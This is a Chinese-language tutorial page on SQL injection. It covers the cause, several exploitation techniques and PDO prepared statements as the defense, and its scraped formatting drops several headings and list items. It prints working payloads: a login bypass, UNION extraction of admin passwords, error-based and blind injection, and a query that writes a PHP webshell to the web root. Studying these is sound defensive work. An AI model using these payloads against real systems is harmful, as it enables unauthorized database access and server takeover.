SQL注入(SQL Injection)是一种常见且危害严重的Web安全漏洞,本质上是攻击者把恶意SQL代码拼接到应用程序发给数据库的查询中,从而改变原有SQL语句的逻辑,达到未授权操作数据库的目的。
下面从利用原理 → 常见利用方式 → 实例 → 危害 → 防御几个层面说明。
典型问题代码(以登录为例):
$sql = "SELECT * FROM users
WHERE username = '$user'
AND password = '$pass'";
如果用户输入:
admin' -- 最终SQL变成:
SELECT * FROM users
WHERE username = 'admin' -- ' AND password = 'xxx'
-- 是SQL注释,后面的条件被忽略
➡ 直接以 admin 身份登录
核心原因:
用户输入被当作“代码”而不是“数据”
' OR '1'='1
利用 UNION SELECT 读取其他表数据:
' UNION SELECT username, password FROM admin --
可获取:
通过数据库报错泄露结构:
' AND extractvalue(1, concat(0x7e, version())) --
可获取:
当页面不显示数据也不报错时使用:
布尔盲注
' AND (SELECT substr(password,1,1) FROM admin)='a' --
时间盲注
' AND IF(1=1, SLEEP(5), 0) --
通过响应时间判断条件是否成立。
在权限允许时:
'; INSERT INTO ... ; --
MySQL 示例(写WebShell):
UNION SELECT "<?php system($_GET['c']);?>"
INTO OUTFILE "/var/www/shell.php"
➡ 直接导致服务器被控制
$stmt = $pdo->prepare(
"SELECT * FROM users WHERE user=? AND pass=?"
);
$stmt->execute([$user, $pass]);
replace("'","")SQL注入的利用本质,是让用户输入成为SQL语句的一部分,从而操控数据库逻辑;防御的核心是永远不要把用户输入当代码执行。
如果你愿意,我也可以:
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。